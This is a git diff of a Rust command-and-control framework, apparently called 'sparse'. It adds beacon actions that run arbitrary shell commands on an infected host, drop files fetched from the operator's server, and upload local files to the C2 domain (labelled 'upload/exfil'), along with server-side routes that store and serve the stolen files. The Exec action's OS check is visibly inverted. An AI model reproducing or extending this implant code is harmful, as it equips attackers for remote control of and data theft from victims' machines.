diff --git a/Cargo.lock b/Cargo.lock index fc656b1..c7dc598 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3496,6 +3496,7 @@ dependencies = [ "bytes", "chrono", "enum_delegate", + "futures-core", "http", "http-body-util", "hyper", @@ -3511,6 +3512,8 @@ dependencies = [ "sqlx", "thiserror 2.0.11", "tokio", + "tokio-stream", + "tokio-util", "uuid", ] @@ -3523,6 +3526,7 @@ dependencies = [ "chrono", "cron", "futures", + "futures-core", "http", "http-body", "http-body-util", @@ -3543,6 +3547,7 @@ dependencies = [ "sparse-actions", "thiserror 2.0.11", "tokio", + "tokio-util", "tower-service", "tracing", ] @@ -3557,6 +3562,7 @@ dependencies = [ "axum-server", "chrono", "futures", + "http-body-util", "rcgen", "rustls", "rustls-pki-types", @@ -3566,7 +3572,9 @@ dependencies = [ "sqlx", "tokio", "tokio-stream", + "tokio-util", "tracing", + "uuid", ] [[package]] @@ -3611,6 +3619,7 @@ dependencies = [ "thiserror 1.0.69", "tokio", "tokio-stream", + "tokio-util", "tower 0.4.13", "tower-http 0.5.2", "tracing", @@ -4616,9 +4625,9 @@ checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" [[package]] name = "uuid" -version = "1.14.0" +version = "1.15.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "93d59ca99a559661b96bf898d8fce28ed87935fd2bea9f05983c1464dd6c71b1" +checksum = "e0f540e3240398cce6128b64ba83fdbdd86129c16a3aa1a3a252efd66eb3d587" dependencies = [ "getrandom 0.3.1", "serde", diff --git a/sparse-actions/Cargo.toml b/sparse-actions/Cargo.toml index 74c81c4..b637c1f 100644 --- a/sparse-actions/Cargo.toml +++ b/sparse-actions/Cargo.toml @@ -25,6 +25,9 @@ rustls = { version = "0.23.23", default-features = false, features = ["std"], op sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true } bytes = { version = "1.10.0", optional = true } http-body-util = { version = "0.1.2", optional = true } +futures-core = { version = "0.3.31", optional = true } +tokio-stream = "0.1.17" +tokio-util = { version = "0.7.13", features = ["io"], optional = true } [build-dependencies] bindgen = "0.69" @@ -41,6 +44,8 @@ beacon = [ "dep:rmp-serde", "dep:bytes", "dep:http-body-util", + "dep:futures-core", + "dep:tokio-util", "uuid/v4" ] server-ssr = ["uuid/v4", "dep:sqlx"] diff --git a/sparse-actions/src/actions.rs b/sparse-actions/src/actions.rs index 3ae3bfe..6411551 100644 --- a/sparse-actions/src/actions.rs +++ b/sparse-actions/src/actions.rs @@ -2,16 +2,19 @@ /// Cannot have fields that have the following names: /// `target_beacon_id`, `target_category_id`, or `cmd_type` #[cfg(feature = "server")] -use leptos::prelude::*; +use leptos::{either::Either, prelude::*}; use serde::{Deserialize, Serialize}; #[cfg(feature = "beacon")] use crate::{payload_types::Parameters, adapter::BeaconAdapter, error::BeaconError}; use crate::version::Version; -#[derive(Serialize, Deserialize, Clone)] +#[derive(Serialize, Deserialize, Clone, Debug)] pub struct FileId(pub uuid::Uuid); +#[cfg(feature = "beacon")] +pub type CallbackBody = Box::Error>> + Send + Unpin>; + /// Macro used to enforce the invariant that struct names are used to identify /// the enum branch as well macro_rules! define_actions_enum { @@ -28,11 +31,21 @@ macro_rules! define_actions_enum { impl Actions { #[cfg(feature = "server")] - fn render_internal(&self, data: String) -> AnyView { + pub fn render_composite_action(&self, data: String) -> impl IntoView { let res: Result, _> = serde_json::from_str(&data); match res { - Ok(Ok(v)) => match self { + Ok(v) => Either::Left(self.render_internal(v)), + Err(_) => Either::Right(view! { +

"The command results in the database are corrupted"

+ }) + } + } + + #[cfg(feature = "server")] + fn render_internal(&self, data: Result) -> AnyView { + match data { + Ok(v) => match self { $( Actions::$act(action) => { let Ok(data) = serde_json::from_str(&v) else { @@ -44,7 +57,7 @@ macro_rules! define_actions_enum { }, )* }, - Ok(Err(e)) => view! { + Err(e) => view! {
"While running the command, an error occured:" @@ -53,9 +66,6 @@ macro_rules! define_actions_enum { {e}
- }.into_any(), - Err(_) => view! { -

"The command results in the database are corrupted"

}.into_any() } } @@ -76,10 +86,10 @@ macro_rules! define_actions_enum { &self, parameters: &Parameters, adapter: &'a T, - client: &'a hyper_util::client::legacy::Client> + client: &'a hyper_util::client::legacy::Client> ) -> Result, BeaconError> where - T: 'a + BeaconAdapter, + T: 'static + BeaconAdapter, S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static { match self { @@ -116,6 +126,8 @@ macro_rules! define_actions_enum { define_actions_enum! { (exec, Exec), + (download, Download), + (upload, Upload), // (ls, Ls), // (update, Update), // (upload, Upload), @@ -150,7 +162,7 @@ impl Action for Actions { } #[cfg(feature = "server")] - fn render_data(&self, data: String) -> AnyView { + fn render_data(&self, data: Self::ActionData) -> AnyView { self.render_internal(data) } @@ -164,10 +176,10 @@ impl Action for Actions { &self, parameters: &Parameters, adapter: &'a T, - client: &'a hyper_util::client::legacy::Client> + client: &'a hyper_util::client::legacy::Client> ) -> Result> where - T: 'a + BeaconAdapter, + T: 'static + BeaconAdapter, S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static { self.execute_internal(parameters, adapter, client).await @@ -188,7 +200,7 @@ pub trait Action: Serialize + for<'a> Deserialize<'a> { async fn build_action(data: Self::BuilderData, db: &sqlx::SqlitePool) -> Result; #[cfg(feature = "server")] - fn render_data(&self, data: String) -> AnyView; + fn render_data(&self, data: Self::ActionData) -> AnyView; #[cfg(feature = "server")] fn render_empty(&self) -> AnyView; @@ -198,10 +210,10 @@ pub trait Action: Serialize + for<'a> Deserialize<'a> { &self, parameters: &Parameters, adapter: &'a T, - client: &'a hyper_util::client::legacy::Client> + client: &'a hyper_util::client::legacy::Client> ) -> Result> where - T: 'a + BeaconAdapter, + T: 'static + BeaconAdapter, S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static; } diff --git a/sparse-actions/src/actions/download.rs b/sparse-actions/src/actions/download.rs index 5068724..8810f60 100644 --- a/sparse-actions/src/actions/download.rs +++ b/sparse-actions/src/actions/download.rs @@ -3,13 +3,13 @@ use leptos::prelude::*; use serde::{Deserialize, Serialize}; #[cfg(feature = "beacon")] -use crate::payload_types::Parameters; +use crate::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters}; use crate::version::Version; -#[derive(Serialize, Deserialize, Clone)] +#[derive(Serialize, Deserialize, Clone, Debug)] pub struct Download { - download_src: super::FileId, download_path: String, + download_src: super::FileId, } #[async_trait::async_trait] @@ -22,16 +22,95 @@ impl super::Action for Download { ]; type ActionData = (); + #[cfg(feature = "server-ssr")] + type BuilderData = Self; + + #[cfg(feature = "server-ssr")] + async fn build_action(data: Self::BuilderData, _db: &sqlx::SqlitePool) -> Result { + Ok(data) + } #[cfg(feature = "beacon")] - async fn execute(&self, _: &Parameters) -> Self::ActionData { - "Hi".to_string(); + async fn execute<'a, T, S>( + &self, + parameters: &Parameters, + _adapter: &'a T, + client: &'a hyper_util::client::legacy::Client> + ) -> Result> + where + T: 'static + BeaconAdapter, + S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static + { + use http_body_util::{BodyExt, Empty}; + use hyper::{Method, Request}; + use tokio_stream::StreamExt; + use tokio::io::AsyncWriteExt; + + let mut target_file = tokio::fs::OpenOptions::new() + .write(true) + .create(true) + .open(self.download_path.clone()) + .await?; + + let body: super::CallbackBody = Box::new( + Empty::::new() + .map_err(|_| crate::error::BeaconError::GenericHyper( + "infallible case encountered".to_string() + )) + ); + + let req = Request::builder() + .method(Method::GET) + .uri(format!( + "https://{}/files/download/{}", + parameters.domain_name::()?, + self.download_src.0.to_string() + )) + .body(body)?; + + let resp = client.request(req).await?; + + if !resp.status().is_success() { + let status = resp.status().clone(); + + if cfg!(debug_assertions) { + let body = resp.into_body(); + let body = body.collect().await?; + + dbg!(body); + } + return Err(BeaconError::SparseServerHttpError(status)); + } + + let mut body = resp.into_body().into_data_stream(); + + while let Some(Ok(chunk)) = body.next().await { + target_file.write(&chunk).await?; + } + + Ok(()) } #[cfg(feature = "server")] - fn render_data(&self, _data: Self::ActionData) -> impl IntoView { + fn render_data(&self, _: Self::ActionData) -> AnyView { view! { - "ls ran" + "File successfully downloaded to " {self.download_path.clone()} } + .into_any() + } + + #[cfg(feature = "server")] + fn render_empty(&self) -> AnyView { + view! { +
+ "request download of " + + "file" + + " to " + {self.download_path.clone()} +
+ } + .into_any() } } diff --git a/sparse-actions/src/actions/exec.rs b/sparse-actions/src/actions/exec.rs index e417db5..95a5ff8 100644 --- a/sparse-actions/src/actions/exec.rs +++ b/sparse-actions/src/actions/exec.rs @@ -33,10 +33,10 @@ impl super::Action for Exec { &self, _parameters: &Parameters, _adapter: &'a T, - _client: &'a hyper_util::client::legacy::Client> + _client: &'a hyper_util::client::legacy::Client> ) -> Result> where - T: 'a + BeaconAdapter, + T: 'static + BeaconAdapter, S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static { use std::process::Stdio; @@ -45,12 +45,21 @@ impl super::Action for Exec { let mut output: Vec = Vec::new(); - let mut cmd = Command::new("sh") - .arg("-c") - .arg(self.exec_cmd.clone()) - .stdout(Stdio::piped()) - .stderr(Stdio::piped()) - .spawn()?; + let mut cmd = if cfg!(target_os = "windows") { + Command::new("sh") + .arg("-c") + .arg(self.exec_cmd.clone()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn()? + } else { + Command::new("cmd.exe") + .arg("/c") + .arg(self.exec_cmd.clone()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn()? + }; let mut stdout = cmd.stdout.take().ok_or(BeaconError::ChildExecResourceNotFound)?; let mut stderr = cmd.stderr.take().ok_or(BeaconError::ChildExecResourceNotFound)?; @@ -86,7 +95,7 @@ impl super::Action for Exec { } #[cfg(feature = "server")] - fn render_data(&self, data: String) -> AnyView { + fn render_data(&self, data: Self::ActionData) -> AnyView { view! {
"execute command: " {self.exec_cmd.clone()} diff --git a/sparse-actions/src/actions/upload.rs b/sparse-actions/src/actions/upload.rs index 19ea3a5..0e4a82f 100644 --- a/sparse-actions/src/actions/upload.rs +++ b/sparse-actions/src/actions/upload.rs @@ -3,10 +3,10 @@ use leptos::prelude::*; use serde::{Deserialize, Serialize}; #[cfg(feature = "beacon")] -use crate::payload_types::Parameters; +use crate::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters}; use crate::version::Version; -#[derive(Serialize, Deserialize, Clone)] +#[derive(Serialize, Deserialize, Clone, Debug)] pub struct Upload { upload_src: String } @@ -19,17 +19,92 @@ impl super::Action for Upload { ("File path to upload/exfil", "upload_src", None) ]; - type ActionData = (); + type ActionData = super::FileId; + #[cfg(feature = "server-ssr")] + type BuilderData = Self; + + #[cfg(feature = "server-ssr")] + async fn build_action(data: Self::BuilderData, _db: &sqlx::SqlitePool) -> Result { + Ok(data) + } #[cfg(feature = "beacon")] - async fn execute(&self, _: &Parameters) -> Self::ActionData { - "Hi".to_string(); + async fn execute<'a, T, S>( + &self, + parameters: &Parameters, + _adapter: &'a T, + client: &'a hyper_util::client::legacy::Client> + ) -> Result> + where + T: 'static + BeaconAdapter, + S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static + { + use http_body_util::{BodyExt, StreamBody}; + use hyper::{body::Frame, Method, Request}; + use tokio_stream::StreamExt; + use tokio_util::io::ReaderStream; + + let target_file = tokio::fs::OpenOptions::new() + .read(true) + .open(self.upload_src.clone()) + .await?; + + let read_stream = ReaderStream::new(target_file); + + let body: super::CallbackBody = Box::new( + StreamBody::new(read_stream + .map(|chunk| chunk + .map(Frame::data) + .map_err(Into::into)) + ) + ); + + let req = Request::builder() + .method(Method::POST) + .uri(format!( + "https://{}/files/upload", + parameters.domain_name::()?, + )) + .body(body)?; + + let resp = client.request(req).await?; + + if !resp.status().is_success() { + let status = resp.status().clone(); + + if cfg!(debug_assertions) { + let body = resp.into_body(); + let body = body.collect().await?; + + dbg!(body); + } + return Err(BeaconError::SparseServerHttpError(status)); + } + + let body = resp.into_body(); + let body = body.collect().await?; + + rmp_serde::from_slice(&body.to_bytes()) + .map_err(Into::into) } #[cfg(feature = "server")] - fn render_data(&self, _data: Self::ActionData) -> impl IntoView { + fn render_data(&self, id: Self::ActionData) -> AnyView { view! { - "ls ran" + "File successfully uploaded: " + + "download" + } + .into_any() + } + + #[cfg(feature = "server")] + fn render_empty(&self) -> AnyView { + view! { + "request upload of " + {self.upload_src.clone()} + } + .into_any() } } diff --git a/sparse-actions/src/error.rs b/sparse-actions/src/error.rs index aed29bb..08657fc 100644 --- a/sparse-actions/src/error.rs +++ b/sparse-actions/src/error.rs @@ -41,4 +41,6 @@ where Json(#[from] serde_json::Error), #[error("could not acquire child resources")] ChildExecResourceNotFound, + #[error("generic hyper error")] + GenericHyper(String), } diff --git a/sparse-actions/src/lib.rs b/sparse-actions/src/lib.rs index 4c2aeaf..b443848 100644 --- a/sparse-actions/src/lib.rs +++ b/sparse-actions/src/lib.rs @@ -10,4 +10,5 @@ pub mod adapter; #[cfg(feature = "beacon")] pub mod error; pub mod messages; +pub mod prelude; pub mod version; diff --git a/sparse-actions/src/prelude.rs b/sparse-actions/src/prelude.rs new file mode 100644 index 0000000..f070a7b --- /dev/null +++ b/sparse-actions/src/prelude.rs @@ -0,0 +1,13 @@ +#[cfg(feature = "beacon")] +use crate::{adapter::BeaconAdapter, error::BeaconError}; + +impl crate::payload_types::Parameters { + #[cfg(feature = "beacon")] + pub fn domain_name<'a, T>(&'a self) -> Result<&'a str, BeaconError> + where + T: BeaconAdapter, + { + std::str::from_utf8(&self.domain_name[..self.domain_name_length as usize]) + .map_err(Into::into) + } +} diff --git a/sparse-beacon/Cargo.toml b/sparse-beacon/Cargo.toml index f0b6a6a..9b3a016 100644 --- a/sparse-beacon/Cargo.toml +++ b/sparse-beacon/Cargo.toml @@ -33,6 +33,8 @@ pcap-sys = { path = "../pcap-sys" } sparse-actions = { path = "../sparse-actions", features = ["beacon"] } packets = { path = "../packets" } chrono = "0.4.39" +tokio-util = { version = "0.7.13", features = ["io"] } +futures-core = "0.3.31" [features] openssl = ["dep:rustls-openssl"] diff --git a/sparse-beacon/src/lib.rs b/sparse-beacon/src/lib.rs index 51e9057..a63207a 100644 --- a/sparse-beacon/src/lib.rs +++ b/sparse-beacon/src/lib.rs @@ -7,12 +7,11 @@ use hyper::{body::Incoming, Method, Request}; use rand::Rng; use sparse_actions::payload_types::Parameters; -use sparse_actions::{actions::Action, adapter, error::BeaconError, messages}; +use sparse_actions::{actions::{Action, CallbackBody}, adapter, error::BeaconError, messages}; mod callback; mod socket; mod tcp; -mod params; pub fn install_rustls() { #[cfg(feature = "openssl")] @@ -23,22 +22,29 @@ pub fn install_rustls() { } async fn make_request_inner( - client: &callback::SClient>, + client: &callback::SClient>, uri: hyper::Uri, req_body: Req ) -> Result, BeaconError> where A: adapter::BeaconAdapter + Clone + 'static, - Req: serde::Serialize + Clone + Send + Sync + 'static + Req: serde::Serialize + Clone + Send + Sync + 'static, { let mut body_buf = Vec::new(); req_body.serialize(&mut rmp_serde::Serializer::new(&mut body_buf))?; + let body: CallbackBody = Box::new( + Full::::from(body_buf) + .map_err(|_| sparse_actions::error::BeaconError::GenericHyper( + "infallible case encountered".to_string() + )) + ); + let req = Request::builder() .method(Method::POST) .uri(uri) .header("content-type", "application/msgpack") - .body(Full::::from(body_buf))?; + .body(body)?; let resp = client.request(req).await?; @@ -58,7 +64,7 @@ where } pub async fn make_bodiless_request( - client: &callback::SClient>, + client: &callback::SClient>, uri: hyper::Uri, req_body: Req ) -> Result<(), BeaconError> @@ -72,7 +78,7 @@ where } pub async fn make_request( - client: &callback::SClient>, + client: &callback::SClient>, uri: hyper::Uri, req_body: Req ) -> Result> @@ -104,7 +110,7 @@ where let messages::BeaconConfig { runtime_config, unfinished_actions } = make_request( &client, - format!("https://{}/checkin", params::domain_name::(¶ms)?).parse()?, + format!("https://{}/checkin", params.domain_name::()?).parse()?, messages::RegisterBeacon { beacon_id: beacon_id.clone(), template_id: params.template_id, @@ -142,7 +148,7 @@ where &client, format!( "https://{}/finish/{}/{}", - params::domain_name::(¶ms)?, + params.domain_name::()?, beacon_id, cmd_id ).parse()?, diff --git a/sparse-beacon/src/params.rs b/sparse-beacon/src/params.rs deleted file mode 100644 index 7465dd3..0000000 --- a/sparse-beacon/src/params.rs +++ /dev/null @@ -1,9 +0,0 @@ -use sparse_actions::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters}; - -pub fn domain_name<'a, T>(params: &'a Parameters) -> Result<&'a str, BeaconError> -where - T: BeaconAdapter, -{ - std::str::from_utf8(¶ms.domain_name[..params.domain_name_length as usize]) - .map_err(Into::into) -} diff --git a/sparse-handler/Cargo.toml b/sparse-handler/Cargo.toml index c97a15c..39dac49 100644 --- a/sparse-handler/Cargo.toml +++ b/sparse-handler/Cargo.toml @@ -21,3 +21,6 @@ axum-msgpack = "0.4.0" chrono = { version = "0.4.39", features = ["serde"] } sparse-actions = { path = "../sparse-actions" } +http-body-util = "0.1.2" +tokio-util = { version = "0.7.13", features = ["io"] } +uuid = { version = "1.15.1", features = ["v4"] } diff --git a/sparse-handler/src/lib.rs b/sparse-handler/src/lib.rs index 56253c3..f654847 100644 --- a/sparse-handler/src/lib.rs +++ b/sparse-handler/src/lib.rs @@ -1,5 +1,5 @@ use std::{ - collections::HashMap, net::SocketAddr, sync::{Arc, RwLock} + collections::HashMap, net::SocketAddr, sync::{Arc, RwLock}, path::PathBuf }; use rcgen::{CertificateParams, KeyPair}; @@ -54,7 +54,8 @@ impl std::ops::Deref for BeaconListenerMap { pub async fn start_all_listeners( beacon_listener_map: BeaconListenerMap, db: SqlitePool, - beacon_event_broadcast: tokio::sync::broadcast::Sender:: + beacon_event_broadcast: tokio::sync::broadcast::Sender::, + file_store: PathBuf, ) -> Result<(), crate::error::Error> { rustls::crypto::ring::default_provider().install_default().expect("could not set up rustls"); @@ -70,6 +71,7 @@ pub async fn start_all_listeners( listener.listener_id, db.clone(), beacon_event_broadcast.clone(), + file_store.clone() ) .await?; } @@ -88,7 +90,8 @@ pub async fn start_listener( beacon_listener_map: BeaconListenerMap, listener_id: i64, db: SqlitePool, - beacon_event_broadcast: tokio::sync::broadcast::Sender:: + beacon_event_broadcast: tokio::sync::broadcast::Sender::, + file_store: PathBuf ) -> Result<(), crate::error::Error> { { let Ok(blm_handle) = beacon_listener_map.read() else { @@ -111,7 +114,7 @@ pub async fn start_listener( .fetch_one(&db) .await?; - let app = router::get_router(db, beacon_event_broadcast.clone()); + let app = router::get_router(db, beacon_event_broadcast.clone(), file_store); let ca_cert = rustls::pki_types::CertificateDer::from(listener.certificate.clone()); diff --git a/sparse-handler/src/router.rs b/sparse-handler/src/router.rs index 2ba6375..f2783f3 100644 --- a/sparse-handler/src/router.rs +++ b/sparse-handler/src/router.rs @@ -1,9 +1,15 @@ -use std::net::SocketAddr; +use std::{net::SocketAddr, path::PathBuf}; -use axum::{extract::{State, ConnectInfo, Path}, routing::post, Router}; +use axum::{ + extract::{State, ConnectInfo, Path, Request}, + routing::{get, post}, + Router +}; use axum_msgpack::MsgPack; use sqlx::SqlitePool; -use tokio::sync::broadcast; +use tokio::{io::AsyncWriteExt, sync::broadcast}; +use tokio_util::io::ReaderStream; +use tokio_stream::StreamExt; use sparse_actions::messages; @@ -13,6 +19,7 @@ use crate::{BeaconEvent, error}; pub struct ListenerState { db: SqlitePool, event_publisher: broadcast::Sender, + file_store: PathBuf } pub async fn handle_checkin( @@ -210,17 +217,52 @@ pub async fn handle_command_result( Ok(()) } -pub fn get_router(db: SqlitePool, event_publisher: broadcast::Sender) -> Router<()> { +pub async fn download_file( + State(state): State, + Path(file_id): Path +) -> Result { + let mut file_path = state.file_store.clone(); + file_path.push(file_id); + let file = tokio::fs::File::open(file_path).await?; + let stream = ReaderStream::new(file); + Ok(axum::body::Body::from_stream(stream)) +} + +pub async fn upload_file( + State(state): State, + request: Request +) -> Result, error::Error> { + let file_id = uuid::Uuid::new_v4(); + + let mut target_file_path = state.file_store.clone(); + target_file_path.push(file_id.to_string()); + + let mut target_file = tokio::fs::OpenOptions::new() + .write(true) + .create(true) + .open(target_file_path) + .await?; + + let mut body = request.into_body().into_data_stream(); + + while let Some(Ok(chunk)) = body.next().await { + target_file.write_all(&chunk).await?; + } + + Ok(MsgPack(sparse_actions::actions::FileId(file_id))) +} + +pub fn get_router(db: SqlitePool, event_publisher: broadcast::Sender, file_store: PathBuf) -> Router<()> { Router::new() .route( "/checkin", post(handle_checkin), ) - .route("/files/download/:fileid", post(|| async {})) - .route("/files/upload", post(|| async {})) + .route("/files/download/:fileid", get(download_file)) + .route("/files/upload", post(upload_file)) .route( "/finish/:beaconid/:commandid", post(handle_command_result), ) - .with_state(ListenerState { db, event_publisher }) + .with_state(ListenerState { db, event_publisher, file_store }) } diff --git a/sparse-server/Cargo.toml b/sparse-server/Cargo.toml index 8449f98..4ff4542 100644 --- a/sparse-server/Cargo.toml +++ b/sparse-server/Cargo.toml @@ -50,6 +50,7 @@ regex = "1.11.1" server_fn = { version = "0.7.7", features = ["multipart"] } multer = { version = "3.1.0", optional = true } uuid = { version = "1.14.0", features = ["v4"], optional = true } +tokio-util = { version = "0.7.13", features = ["io"], optional = true } sparse-actions = { path = "../sparse-actions", features = ["server"] } sparse-handler = { path = "../sparse-handler", optional = true } @@ -82,6 +83,7 @@ ssr = [ "dep:rand", "dep:multer", "dep:uuid", + "dep:tokio-util", "leptos/ssr", "leptos_meta/ssr", "leptos_router/ssr", diff --git a/sparse-server/src/beacons/instances.rs b/sparse-server/src/beacons/instances.rs index 6df47c6..a25f88c 100644 --- a/sparse-server/src/beacons/instances.rs +++ b/sparse-server/src/beacons/instances.rs @@ -242,27 +242,35 @@ pub fn InstancesView() -> impl IntoView { let (done_with_scrolling, set_done_with_scrolling) = signal(false); #[cfg(not(feature = "ssr"))] - let (web_socket, rebuild_websocket) = signal(use_websocket::< - BeaconClientMessage, - BeaconViewEvent, - codee::string::JsonSerdeCodec, - >("/api/subscribe/listener")); - + let user = expect_context::>>(); #[cfg(not(feature = "ssr"))] - (web_socket.get_untracked().send)(&BeaconClientMessage::LoadHistorical(0)); + let web_socket = Memo::new_with_compare( + move |_| { + // subscribe to changes in the user, so that if a user signs it is possible + // to recreate the websocket with a new session ID + user.get(); - #[cfg(not(feature = "ssr"))] - Effect::new(move |_| { - let user = expect_context::>>(); - user.with(move |_| { - rebuild_websocket(use_websocket::< + leptos::logging::log!("Recreating socket"); + + use_websocket::< BeaconClientMessage, BeaconViewEvent, codee::string::JsonSerdeCodec, >(&format!( "/api/subscribe/beacon/{}", instance_id.get().expect("could not extract ID from URL").id) - )); + ) + }, + |_, _| true + ); + + #[cfg(not(feature = "ssr"))] + Effect::new(move |_| { + web_socket.get().ready_state.with(move |state| { + if *state == leptos_use::core::ConnectionReadyState::Open { + update_line_items(VecDeque::new()); + (web_socket.get_untracked().send)(&BeaconClientMessage::LoadHistorical(0)); + } }); }); @@ -409,7 +417,7 @@ pub fn InstancesView() -> impl IntoView { {format!("command {command_id} finished executing at {result_date}")}
- {action.render_data(action_result)} + {action.render_composite_action(action_result)}
}), diff --git a/sparse-server/src/beacons/listeners.rs b/sparse-server/src/beacons/listeners.rs index 1c45546..ed13333 100644 --- a/sparse-server/src/beacons/listeners.rs +++ b/sparse-server/src/beacons/listeners.rs @@ -183,11 +183,13 @@ pub async fn start_listener(listener_id: i64) -> Result<(), ServerFnError> { )); } + let target_file_path = expect_context::(); sparse_handler::start_listener( expect_context(), listener_id, expect_context(), - expect_context() + expect_context(), + target_file_path, ).await?; Ok(()) diff --git a/sparse-server/src/webserver.rs b/sparse-server/src/webserver.rs index e67de81..533f067 100644 --- a/sparse-server/src/webserver.rs +++ b/sparse-server/src/webserver.rs @@ -12,6 +12,7 @@ use leptos_axum::{generate_route_list, LeptosRoutes}; use serde::Deserialize; use sqlx::sqlite::SqlitePool; use tokio::signal; +use tokio_util::io::ReaderStream; use sparse_actions::version::Version; use sparse_server::app::*; @@ -101,6 +102,7 @@ pub struct AppState { leptos_options: leptos::config::LeptosOptions, beacon_listeners: sparse_handler::BeaconListenerMap, beacon_event_broadcast: tokio::sync::broadcast::Sender, + file_store: PathBuf, } async fn get_parameters_bytes( @@ -323,6 +325,41 @@ pub async fn download_beacon_installer( )) } +pub async fn download_file( + State(state): State, + cookie_jar: CookieJar, + Path(file_id): Path +) -> axum::response::Response { + if let Err(e) = crate::db::user::get_auth_session_inner( + state.db.clone(), + cookie_jar + ).await { + tracing::warn!("Could not load user session: {e:?}"); + return axum::http::StatusCode::INTERNAL_SERVER_ERROR.into_response(); + } + + let mut file_path = state.file_store.clone(); + file_path.push(file_id); + let file = match tokio::fs::File::open(file_path).await { + Ok(f) => f, + Err(e) => { + tracing::warn!("Could not open file: {e:?}"); + return axum::http::StatusCode::INTERNAL_SERVER_ERROR.into_response(); + } + }; + + let stream = ReaderStream::new(file); + + use axum::http::header; + + ( + [ + (header::CONTENT_TYPE, "application/octet-stream".to_string()) + ], + axum::body::Body::from_stream(stream).into_response() + ).into_response() +} + pub async fn subscribe_to_listener_events( State(state): State, cookie_jar: CookieJar, @@ -813,14 +850,16 @@ pub async fn serve_web( sparse_handler::start_all_listeners( beacon_listeners.clone(), db.clone(), - beacon_event_broadcast.clone() + beacon_event_broadcast.clone(), + file_store.clone(), ).await?; let state = AppState { leptos_options: leptos_options.clone(), db: db.clone(), beacon_listeners: beacon_listeners.clone(), - beacon_event_broadcast: beacon_event_broadcast.clone() + beacon_event_broadcast: beacon_event_broadcast.clone(), + file_store: file_store.clone(), }; let app = Router::new() @@ -829,6 +868,7 @@ pub async fn serve_web( get(download_beacon_installer), ) .route("/binaries/beacon/:template_id", get(download_beacon)) + .route("/binaries/files/:file_id", get(download_file)) .route( "/api/subscribe/listener", axum::routing::any(subscribe_to_listener_events) diff --git a/sparse-unix-beacon/build.rs b/sparse-unix-beacon/build.rs index d4809bd..52f9529 100644 --- a/sparse-unix-beacon/build.rs +++ b/sparse-unix-beacon/build.rs @@ -1,3 +1,12 @@ fn main() { include!("../build_common.rs"); + + /*if std::env::var("CARGO_CFG_TARGET_ENV").unwrap() == "gnu" + && std::env::var("CARGO_CFG_TARGET_OS").unwrap() == "linux" + { + let glibc_libs = std::env::var("GLIBC_LIBS").unwrap(); + let glibc_libs_static = std::env::var("GLIBC_LIBS_STATIC").unwrap(); + println!("cargo:rustc-link-arg=-L{glibc_libs}/lib"); + println!("cargo:rustc-link-arg=-L{glibc_libs_static}/lib"); + }*/ } diff --git a/sparse-windows-beacon/Cargo.toml b/sparse-windows-beacon/Cargo.toml index 0533eb0..acc09a5 100644 --- a/sparse-windows-beacon/Cargo.toml +++ b/sparse-windows-beacon/Cargo.toml @@ -16,7 +16,7 @@ windows-result = "0.3.0" windows-strings = "0.3.0" winreg = "0.55" -sparse-actions = { path = "../sparse-actions" } +sparse-actions = { path = "../sparse-actions", features = ["beacon"] } sparse-beacon = { path = "../sparse-beacon", features = ["openssl"] } [features]